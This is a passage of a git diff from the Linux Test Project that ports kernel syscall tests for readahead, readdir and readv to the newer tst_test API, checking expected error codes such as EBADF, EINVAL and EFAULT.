@@ -21,52 +27,22 @@
 #include "lapi/syscalls.h"
 
 #if defined(__NR_readahead)
-static void check_ret(long expected_ret)
-{
-	if (expected_ret == TST_RET) {
-		tst_res(TPASS, "expected ret success - "
-			"returned value = %ld", TST_RET);
-		return;
-	}
-	tst_res(TFAIL, "unexpected failure - "
-		"returned value = %ld, expected: %ld",
-		TST_RET, expected_ret);
-}
-
-static void check_errno(long expected_errno)
-{
-	if (TST_ERR == expected_errno) {
-		tst_res(TPASS | TTERRNO, "expected failure");
-		return;
-	}
-
-	if (TST_ERR == 0)
-		tst_res(TFAIL, "call succeeded unexpectedly");
-	else
-		tst_res(TFAIL | TTERRNO, "unexpected failure - "
-			"expected = %ld : %s, actual",
-			expected_errno, strerror(expected_errno));
-}
 
 static void test_bad_fd(void)
 {
 	char tempname[PATH_MAX] = "readahead01_XXXXXX";
 	int fd;
 
-	tst_res(TINFO, "test_bad_fd -1");
-	TEST(readahead(-1, 0, getpagesize()));
-	check_ret(-1);
-	check_errno(EBADF);
+	tst_res(TINFO, "%s -1", __func__);
+	TST_EXP_FAIL(readahead(-1, 0, getpagesize()), EBADF);
 
-	tst_res(TINFO, "test_bad_fd O_WRONLY");
+	tst_res(TINFO, "%s O_WRONLY", __func__);
 	fd = mkstemp(tempname);
 	if (fd == -1)
 		tst_res(TFAIL | TERRNO, "mkstemp failed");
 	SAFE_CLOSE(fd);
 	fd = SAFE_OPEN(tempname, O_WRONLY);
-	TEST(readahead(fd, 0, getpagesize()));
-	check_ret(-1);
-	check_errno(EBADF);
+	TST_EXP_FAIL(readahead(fd, 0, getpagesize()), EBADF);
 	SAFE_CLOSE(fd);
 	unlink(tempname);
 }
@@ -75,23 +51,19 @@
 {
 	int fd[2];
 
-	tst_res(TINFO, "test_invalid_fd pipe");
+	tst_res(TINFO, "%s pipe", __func__);
 	SAFE_PIPE(fd);
-	TEST(readahead(fd[0], 0, getpagesize()));
-	check_ret(-1);
-	check_errno(EINVAL);
+	TST_EXP_FAIL(readahead(fd[0], 0, getpagesize()), EINVAL);
 	SAFE_CLOSE(fd[0]);
 	SAFE_CLOSE(fd[1]);
 
-	tst_res(TINFO, "test_invalid_fd socket");
+	tst_res(TINFO, "%s socket", __func__);
 	fd[0] = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
-	TEST(readahead(fd[0], 0, getpagesize()));
-	check_ret(-1);
-	check_errno(EINVAL);
+	TST_EXP_FAIL(readahead(fd[0], 0, getpagesize()), EINVAL);
 	SAFE_CLOSE(fd[0]);
 }
 
-void test_readahead(void)
+static void test_readahead(void)
 {
 	test_bad_fd();
 	test_invalid_fd();
diff --git a/testcases/kernel/syscalls/readahead/readahead02.c b/testcases/kernel/syscalls/readahead/readahead02.c
index 258c70e..02e866e 100644
--- a/testcases/kernel/syscalls/readahead/readahead02.c
+++ b/testcases/kernel/syscalls/readahead/readahead02.c
@@ -38,7 +38,9 @@
 #define DROP_CACHES_FNAME "/proc/sys/vm/drop_caches"
 #define MEMINFO_FNAME "/proc/meminfo"
 #define PROC_IO_FNAME "/proc/self/io"
-static size_t testfile_size = 64 * 1024 * 1024;
+#define DEFAULT_FILESIZE (64 * 1024 * 1024)
+
+static size_t testfile_size = DEFAULT_FILESIZE;
 static char *opt_fsizestr;
 static int pagesize;
 static unsigned long cached_max;
@@ -365,8 +367,10 @@
 
 static void setup(void)
 {
-	if (opt_fsizestr)
+	if (opt_fsizestr) {
 		testfile_size = SAFE_STRTOL(opt_fsizestr, 1, INT_MAX);
+		tst_set_max_runtime(1 + testfile_size / (DEFAULT_FILESIZE/32));
+	}
 
 	if (access(PROC_IO_FNAME, F_OK))
 		tst_brk(TCONF, "Requires " PROC_IO_FNAME);
@@ -401,11 +405,12 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"s:", &opt_fsizestr, "-s    testfile size (default 64MB)"},
+		{"s:", &opt_fsizestr, "Testfile size (default 64MB)"},
 		{}
 	},
 	.test = test_readahead,
 	.tcnt = ARRAY_SIZE(tcases),
+	.max_runtime = 30,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "b833a3660394"},
 		{"linux-git", "5b910bd615ba"},
diff --git a/testcases/kernel/syscalls/readdir/readdir01.c b/testcases/kernel/syscalls/readdir/readdir01.c
index 15d575b..d200145 100644
--- a/testcases/kernel/syscalls/readdir/readdir01.c
+++ b/testcases/kernel/syscalls/readdir/readdir01.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
  * Mountain View, CA  94043, or:
  *
@@ -30,287 +12,59 @@
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
  *
  */
-/* $Id: readdir01.c,v 1.7 2009/03/23 13:36:01 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: readdir01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: write multiple files and try to find them with readdir
- *
- *    TEST CASE TOTAL	:
- *
- *    WALL CLOCK TIME	:
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Nate Straz
- *
- *    CO-PILOT		:
- *
- *    DATE STARTED	: 02/16/2001
- *
- *    INITIAL RELEASE	: Linux 2.4.x
- *
- *    TEST CASES
- *
- * 	1.) Create n files and check that readdir() finds n files
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the readdir(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	readdir(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <dirent.h>
-#include <unistd.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-
- /* The setup and cleanup functions are basic parts of a test case.  These
-  * steps are usually put in separate functions for clarity.  The help function
-  * is only needed when you are adding new command line options.
-  */
-void setup();
-void help();
-void cleanup();
-
-char *TCID = "readdir01";
-int TST_TOTAL = 2;
-
-#define BASENAME	"readdirfile"
-
-char Basename[255];
-char Fname[255];
-int Nfiles = 0;
-
-char *Nfilearg;
-int Nflag = 0;
-
-option_t options[] = {
-	{"N:", &Nflag, &Nfilearg},	/* -N #files */
-	{NULL, NULL, NULL}
-};
-
-/***********************************************************************
- * Main
- ***********************************************************************/
-int main(int ac, char **av)
-{
-	int lc;
-	int cnt;
-	int nfiles, fd;
-	char fname[255];
-	DIR *test_dir;
-	struct dirent *dptr;
-
-	tst_parse_opts(ac, av, options, &help);
-
-	if (Nflag) {
-		if (sscanf(Nfilearg, "%i", &Nfiles) != 1) {
-			tst_brkm(TBROK, NULL, "--N option arg is not a number");
-		}
-	}
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	/* Next you should run a setup routine to make sure your environment is
-	 * sane.
-	 */
-	setup();
-
-    /***************************************************************
-     * check looping state
-     ***************************************************************/
-	/* TEST_LOOPING() is a macro that will make sure the test continues
-	 * looping according to the standard command line args.
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		if (Nfiles)
-			nfiles = Nfiles;
-		else
-			/* min of 10 links and max of a 100 links */
-			nfiles = (lc % 90) + 10;
-
-		/* create a bunch of files to look at */
-		for (cnt = 0; cnt < nfiles; cnt++) {
-
-			sprintf(fname, "%s%d", Basename, cnt);
-			if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
-				tst_brkm(TBROK, cleanup,
-					 "open(%s, O_RDWR|O_CREAT,0700) Failed, errno=%d : %s",
-					 fname, errno, strerror(errno));
-			} else if (write(fd, "hello\n", 6) < 0) {
-				tst_brkm(TBROK, cleanup,
-					 "write(%s, \"hello\\n\", 6) Failed, errno=%d : %s",
-					 fname, errno, strerror(errno));
-			} else if (close(fd) < 0) {
-				tst_resm(TWARN,
-					"close(%s) Failed, errno=%d : %s",
-					fname, errno, strerror(errno));
-			}
-		}
-
-		if ((test_dir = opendir(".")) == NULL) {
-			tst_resm(TFAIL, "opendir(\".\") Failed, errno=%d : %s",
-				 errno, strerror(errno));
-		} else {
-			/* count the entries we find to see if any are missing */
-			cnt = 0;
-			errno = 0;
-			while ((dptr = readdir(test_dir)) != 0) {
-				if (strcmp(dptr->d_name, ".")
-				    && strcmp(dptr->d_name, ".."))
-					cnt++;
-			}
-
-			if (errno != 0) {
-				tst_resm(TFAIL,
-					 "readir(test_dir) Failed on try %d, errno=%d : %s",
-					 cnt + 1, errno, strerror(errno));
-			}
-			if (cnt == nfiles) {
-				tst_resm(TPASS,
-					 "found all %d that were created",
-					 nfiles);
-			} else if (cnt > nfiles) {
-				tst_resm(TFAIL,
-					 "found more files than were created");
-				tst_resm(TINFO, "created: %d, found: %d",
-					 nfiles, cnt);
-			} else {
-				tst_resm(TFAIL,
-					 "found less files than were created");
-				tst_resm(TINFO, "created: %d, found: %d",
-					 nfiles, cnt);
-			}
-		}
-
-		/* Here we clean up after the test case so we can do another iteration.
-		 */
-		for (cnt = 0; cnt < nfiles; cnt++) {
-
-			sprintf(fname, "%s%d", Basename, cnt);
-
-			if (unlink(fname) == -1) {
-				tst_resm(TWARN,
-					"unlink(%s) Failed, errno=%d : %s",
-					Fname, errno, strerror(errno));
-			}
-		}
-
-	}
-
-    /***************************************************************
-     * cleanup and exit
-     ***************************************************************/
-	cleanup();
-
-	tst_exit();
-}
-
-/***************************************************************
- * help
- ***************************************************************/
-/* The custom help() function is really simple.  Just write your help message to
- * standard out.  Your help function will be called after the standard options
- * have been printed
+/*\
+ * [Description]
+ *
+ * The test for the readdir(2) system call.
+ * Create n files and check that readdir() finds n files
  */
-void help(void)
+#include <stdio.h>
+#include "tst_test.h"
+
+static const char prefix[] = "readdirfile";
+static int nfiles = 10;
+
+static void setup(void)
 {
-	printf("  -N #files : create #files files every iteration\n");
+	char fname[255];
+	int i;
+	int fd;
+
+	for (i = 0; i < nfiles; i++) {
+		sprintf(fname, "%s_%d", prefix, i);
+		fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
+		SAFE_WRITE(1, fd, "hello\n", 6);
+		SAFE_CLOSE(fd);
+	}
 }
 
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
+static void verify_readdir(void)
 {
-	/* You will want to enable some signal handling so you can capture
-	 * unexpected signals like SIGSEGV.
-	 */
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	int cnt = 0;
+	DIR *test_dir;
+	struct dirent *ent;
 
-	/* One cavet that hasn't been fixed yet.  TEST_PAUSE contains the code to
-	 * fork the test with the -c option.  You want to make sure you do this
-	 * before you create your temporary directory.
-	 */
-	TEST_PAUSE;
+	test_dir = SAFE_OPENDIR(".");
+	while ((ent = SAFE_READDIR(test_dir))) {
+		if (!strcmp(ent->d_name, ".") || !strcmp(ent->d_name, ".."))
+			continue;
+		if (!strncmp(ent->d_name, prefix, sizeof(prefix) - 1))
+			cnt++;
+	}
 
-	/* If you are doing any file work, you should use a temporary directory.  We
-	 * provide tst_tmpdir() which will create a uniquely named temporary
-	 * directory and cd into it.  You can now create files in the current
-	 * directory without worrying.
-	 */
-	tst_tmpdir();
+	if (cnt == nfiles) {
+		tst_res(TPASS, "found all %d that were created", nfiles);
+	} else {
+		tst_res(TFAIL, "found %s files than were created, created: %d, found: %d",
+					cnt > nfiles ? "more" : "less", nfiles, cnt);
+	}
 
-	sprintf(Basename, "%s_%d.", BASENAME, getpid());
+	SAFE_CLOSEDIR(test_dir);
 }
 
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	/* If you use a temporary directory, you need to be sure you remove it. Use
-	 * tst_rmdir() to do it automatically.$
-	 */
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_readdir,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/readdir/readdir21.c b/testcases/kernel/syscalls/readdir/readdir21.c
index 205e071..7308c8b 100644
--- a/testcases/kernel/syscalls/readdir/readdir21.c
+++ b/testcases/kernel/syscalls/readdir/readdir21.c
@@ -1,150 +1,79 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) 2014 Fujitsu Ltd.
  * Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- */
-/*
- * Test Description:
- *  Verify that,
- *   1. Creat a directory and open it, then delete the directory, ENOENT would
- *	return.
- *   2. File descriptor does not refer to a directory, ENOTDIR would return.
- *   3. Invalid file descriptor fd, EBADF would return.
- *   4. Argument points outside the calling process's address space, EFAULT
- *	would return.
- *
- *  PS:
- *   This file is for readdir(2) and the other files(readdir01.c and
- *   readdir02.c) are for readdir(3).
  */
 
-#define _GNU_SOURCE
+/*\
+ * [Description]
+ *
+ * Verify that readdir will fail with:
+ *
+ * - ENOENT when passed a fd to a deleted directory
+ * - ENOTDIR when passed fd that does not point to a directory
+ * - EBADFD when passed an invalid fd
+ * - EFAULT when passed invalid buffer pointer
+ */
 
-#include <stdio.h>
-#include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/mman.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 #include "lapi/readdir.h"
 
-char *TCID = "readdir21";
-
 #define TEST_DIR	"test_dir"
 #define TEST_DIR4	"test_dir4"
 #define TEST_FILE	"test_file"
-#define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \
-			 S_IXGRP|S_IROTH|S_IXOTH)
+#define DIR_MODE	0755
 
 static unsigned int del_dir_fd, file_fd;
 static unsigned int invalid_fd = 999;
 static unsigned int dir_fd;
 static struct old_linux_dirent dirp;
-static void setup(void);
-static void cleanup(void);
 
-static struct test_case_t {
+static struct tcase {
 	unsigned int *fd;
 	struct old_linux_dirent *dirp;
 	unsigned int count;
 	int exp_errno;
-} test_cases[] = {
-	{&del_dir_fd, &dirp, sizeof(struct old_linux_dirent), ENOENT},
-	{&file_fd, &dirp, sizeof(struct old_linux_dirent), ENOTDIR},
-	{&invalid_fd, &dirp, sizeof(struct old_linux_dirent), EBADF},
-#if !defined(UCLINUX)
+	char *desc;
+} tcases[] = {
+	{&del_dir_fd, &dirp, sizeof(struct old_linux_dirent), ENOENT, "directory deleted"},
+	{&file_fd, &dirp, sizeof(struct old_linux_dirent), ENOTDIR, "not a directory"},
+	{&invalid_fd, &dirp, sizeof(struct old_linux_dirent), EBADF, "invalid fd"},
 	{&dir_fd, (struct old_linux_dirent *)-1,
-	 sizeof(struct old_linux_dirent), EFAULT},
-#endif
+	 sizeof(struct old_linux_dirent), EFAULT, "invalid buffer pointer"},
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-static void readdir_verify(const struct test_case_t *);
-
-int main(int argc, char **argv)
-{
-	int i, lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++)
-			readdir_verify(&test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	unsigned int i;
 
-	TEST_PAUSE;
+	SAFE_MKDIR(TEST_DIR, DIR_MODE);
+	del_dir_fd = SAFE_OPEN(TEST_DIR, O_RDONLY | O_DIRECTORY);
+	SAFE_RMDIR(TEST_DIR);
 
-	tst_tmpdir();
+	file_fd = SAFE_OPEN(TEST_FILE, O_RDWR | O_CREAT, 0777);
 
-	SAFE_MKDIR(cleanup, TEST_DIR, DIR_MODE);
-	del_dir_fd = SAFE_OPEN(cleanup, TEST_DIR, O_RDONLY | O_DIRECTORY);
-	SAFE_RMDIR(cleanup, TEST_DIR);
+	SAFE_MKDIR(TEST_DIR4, DIR_MODE);
+	dir_fd = SAFE_OPEN(TEST_DIR4, O_RDONLY | O_DIRECTORY);
 
-	file_fd = SAFE_OPEN(cleanup, TEST_FILE, O_RDWR | O_CREAT, 0777);
-
-	SAFE_MKDIR(cleanup, TEST_DIR4, DIR_MODE);
-	dir_fd = SAFE_OPEN(cleanup, TEST_DIR4, O_RDONLY | O_DIRECTORY);
-
-#if !defined(UCLINUX)
-	test_cases[3].dirp = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-				       MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-#endif
-}
-
-static void readdir_verify(const struct test_case_t *test)
-{
-	TEST(ltp_syscall(__NR_readdir, *test->fd, test->dirp, test->count));
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "readdir() succeeded unexpectedly");
-		return;
-	}
-
-	if (TEST_ERRNO == test->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "readdir() failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			 "readdir() failed unexpectedly; expected: %d - %s",
-			 test->exp_errno, strerror(test->exp_errno));
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (tcases[i].exp_errno == EFAULT)
+			tcases[i].dirp = tst_get_bad_addr(NULL);
 	}
 }
 
-static void cleanup(void)
+static void verify_readdir(unsigned int nr)
 {
-	if (dir_fd > 0)
-		close(dir_fd);
+	struct tcase *tc = &tcases[nr];
 
-	if (del_dir_fd > 0)
-		close(del_dir_fd);
-
-	if (file_fd > 0)
-		close(file_fd);
-
-	tst_rmdir();
+	TST_EXP_FAIL(tst_syscall(__NR_readdir, *tc->fd, tc->dirp, tc->count),
+			tc->exp_errno, "readdir() with %s", tc->desc);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.test = verify_readdir,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/readv/.gitignore b/testcases/kernel/syscalls/readv/.gitignore
index c4aa61e..a532741 100644
--- a/testcases/kernel/syscalls/readv/.gitignore
+++ b/testcases/kernel/syscalls/readv/.gitignore
@@ -1,3 +1,2 @@
 /readv01
 /readv02
-/readv03
diff --git a/testcases/kernel/syscalls/readv/readv01.c b/testcases/kernel/syscalls/readv/readv01.c
index f12b3f0..2bd3fd5 100644
--- a/testcases/kernel/syscalls/readv/readv01.c
+++ b/testcases/kernel/syscalls/readv/readv01.c
@@ -110,7 +110,6 @@
 	.test = test_readv,
 	.tcnt = ARRAY_SIZE(testcase_list),
 	.needs_tmpdir = 1,
-	.timeout = 15,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "19f18459330f"},
 		{}
diff --git a/testcases/kernel/syscalls/readv/readv02.c b/testcases/kernel/syscalls/readv/readv02.c
index aa40e2c..c09e69b 100644
--- a/testcases/kernel/syscalls/readv/readv02.c
+++ b/testcases/kernel/syscalls/readv/readv02.c
@@ -1,284 +1,105 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) Bull S.A. 2001
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 05/2002 Ported by Jacky Malcles
  */
 
-/*
- * NAME
- * 	readv02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check the error conditions of the readv(2) system call.
+ * Tests readv() failures:
  *
- * CALLS
- * 	readv()
- *
- * ALGORITHM
- *	Create a IO vector, and attempt to readv() various components of it.
- *
- * USAGE
- *	readv02
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- * 	None
+ * - EINVAL the sum of the iov_len values overflows an ssize_t value
+ * - EFAULT buffer is outside the accessible address space
+ * - EINVAL the vector count iovcnt is less than zero
+ * - EISDIR the file descriptor is a directory
+ * - EBADF  the file descriptor is not valid
  */
-#include <sys/types.h>
+
 #include <sys/uio.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <memory.h>
-#include <errno.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define K_1     1024
+#define MODES   0700
 
-#define	K_1	1024
-#define	M_1	K_1 * K_1
-#define	G_1	M_1 * K_1
+#define CHUNK           64
 
-#define	NBUFS		4
-#define	CHUNK		64
-#define	MAX_IOVEC	16
-#define DATA_FILE	"readv_data_file"
+static int badfd = -1;
+static int fd_dir, fd_file;
+static char buf1[K_1];
+const char *TEST_DIR = "test_dir";
+const char *TEST_FILE = "test_file";
 
-char buf1[K_1], buf2[K_1], buf3[K_1];
-
-struct iovec rd_iovec[MAX_IOVEC] = {
-	/* iov_base *//* iov_len */
-
-	/* Test case #1 */
-	{buf2, -1},
-	{(buf2 + CHUNK), CHUNK},
-	{(buf2 + CHUNK * 2), CHUNK},
-
-	/* Test case #2 */
-	{(buf2 + CHUNK * 3), G_1},
-	{(buf2 + CHUNK * 4), G_1},
-	{(buf2 + CHUNK * 5), G_1},
-
-	/* Test case #3 */
-	{(caddr_t) - 1, CHUNK},
-	{(buf2 + CHUNK * 6), CHUNK},
-	{(buf2 + CHUNK * 8), CHUNK},
-
-	/* Test case #4 */
-	{(buf2 + CHUNK * 9), CHUNK}
+static struct iovec invalid_iovec[] = {
+	{buf1, -1},
+	{buf1 + CHUNK, CHUNK},
+	{buf1 + 2*CHUNK, CHUNK},
 };
 
-char f_name[K_1];
+static struct iovec large_iovec[] = {
+	{buf1, K_1},
+	{buf1 + CHUNK, K_1},
+	{buf1 + CHUNK*2, K_1},
+};
 
-int fd[4];
-char *buf_list[NBUFS];
+static struct iovec efault_iovec[] = {
+	{NULL, CHUNK},
+	{buf1 + CHUNK, CHUNK},
+	{buf1 + 2*CHUNK, CHUNK},
+};
 
-char *TCID = "readv02";
-int TST_TOTAL = 1;
+static struct iovec valid_iovec[] = {
+	{buf1, CHUNK},
+};
 
-char *bad_addr = 0;
-
-int init_buffs(char **);
-int fill_mem(char *, int, int);
-long l_seek(int, long, int);
-char *getenv();
-void setup();
-void cleanup();
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* The following loop checks looping state if -i option given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-//test1:
-		if (readv(fd[0], rd_iovec, 1) < 0) {
-			if (errno != EINVAL) {
-				tst_resm(TFAIL, "readv() set an illegal errno:"
-					 " expected: EINVAL, got %d", errno);
-			} else {
-				tst_resm(TPASS, "got EINVAL");
-			}
-		} else {
-			tst_resm(TFAIL, "Error: readv returned a positive "
-				 "value");
-		}
-
-//test2:
-		l_seek(fd[0], CHUNK * 6, 0);
-		if (readv(fd[0], (rd_iovec + 6), 3) < 0) {
-			if (errno != EFAULT) {
-				tst_resm(TFAIL, "expected errno = EFAULT, "
-					 "got %d", errno);
-			} else {
-				tst_resm(TPASS, "got EFAULT");
-			}
-			if (memcmp((buf_list[0] + CHUNK * 6),
-				   (buf_list[1] + CHUNK * 6), CHUNK * 3) != 0) {
-				tst_resm(TFAIL, "Error: readv() partially "
-					 "overlaid buf[2]");
-			}
-		} else {
-			tst_resm(TFAIL, "Error: readv returned a positive "
-				 "value");
-		}
-
-//test3:
-		if (readv(fd[1], (rd_iovec + 9), 1) < 0) {
-			if (errno != EBADF) {
-				tst_resm(TFAIL, "expected errno = EBADF, "
-					 "got %d", errno);
-			} else {
-				tst_resm(TPASS, "got EBADF");
-			}
-		} else {
-			tst_resm(TFAIL, "Error: readv returned a positive "
-				 "value");
-		}
-
-//test4:
-		l_seek(fd[0], CHUNK * 10, 0);
-		if (readv(fd[0], (rd_iovec + 10), -1) < 0) {
-			if (errno != EINVAL) {
-				tst_resm(TFAIL, "expected errno = EINVAL, "
-					 "got %d", errno);
-			} else {
-				tst_resm(TPASS, "got EINVAL");
-			}
-		} else {
-			tst_resm(TFAIL, "Error: readv returned a positive "
-				 "value");
-		}
-
-	}
-	close(fd[0]);
-	close(fd[1]);
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-	int nbytes;
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
-
-	buf_list[0] = buf1;
-	buf_list[1] = buf2;
-	buf_list[2] = buf3;
-	buf_list[3] = NULL;
-
-	init_buffs(buf_list);
-
-	sprintf(f_name, "%s.%d", DATA_FILE, getpid());
-
-	if ((fd[0] = open(f_name, O_WRONLY | O_CREAT, 0666)) < 0) {
-		tst_brkm(TBROK, cleanup, "open failed: fname = %s, "
-			 "errno = %d", f_name, errno);
-	} else {
-		if ((nbytes = write(fd[0], buf_list[2], K_1)) != K_1) {
-			tst_brkm(TBROK, cleanup, "write failed: nbytes "
-				 "= %d " "errno = %d", nbytes, errno);
-		}
-	}
-
-	SAFE_CLOSE(cleanup, fd[0]);
-
-	if ((fd[0] = open(f_name, O_RDONLY, 0666)) < 0) {
-		tst_brkm(TBROK, cleanup, "open failed: fname = %s, "
-			 "errno = %d", f_name, errno);
-	}
-
-	fd[1] = -1;		/* Invalid file descriptor */
-
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	rd_iovec[6].iov_base = bad_addr;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-	SAFE_UNLINK(NULL, f_name);
-	tst_rmdir();
-
-}
-
-int init_buffs(char *pbufs[])
-{
-	int i;
-
-	for (i = 0; pbufs[i] != NULL; i++) {
-		switch (i) {
-		case 0:
-		 /*FALLTHROUGH*/ case 1:
-			fill_mem(pbufs[i], 0, 1);
-			break;
-
-		case 2:
-			fill_mem(pbufs[i], 1, 0);
-			break;
-
-		default:
-			tst_brkm(TBROK, cleanup, "Error in init_buffs()");
-		}
-	}
-	return 0;
-}
-
-int fill_mem(char *c_ptr, int c1, int c2)
-{
+static struct tcase {
+	int *fd;
+	void *buf;
 	int count;
+	int exp_error;
+} tcases[] = {
+	{&fd_file, invalid_iovec, 1, EINVAL},
+	{&fd_file, efault_iovec, 3, EFAULT},
+	{&fd_file, large_iovec, -1, EINVAL},
+	{&fd_dir, valid_iovec, 1, EISDIR},
+	{&badfd, valid_iovec, 3, EBADF},
+};
 
-	for (count = 1; count <= K_1 / CHUNK; count++) {
-		if (count & 0x01) {	/* if odd */
-			memset(c_ptr, c1, CHUNK);
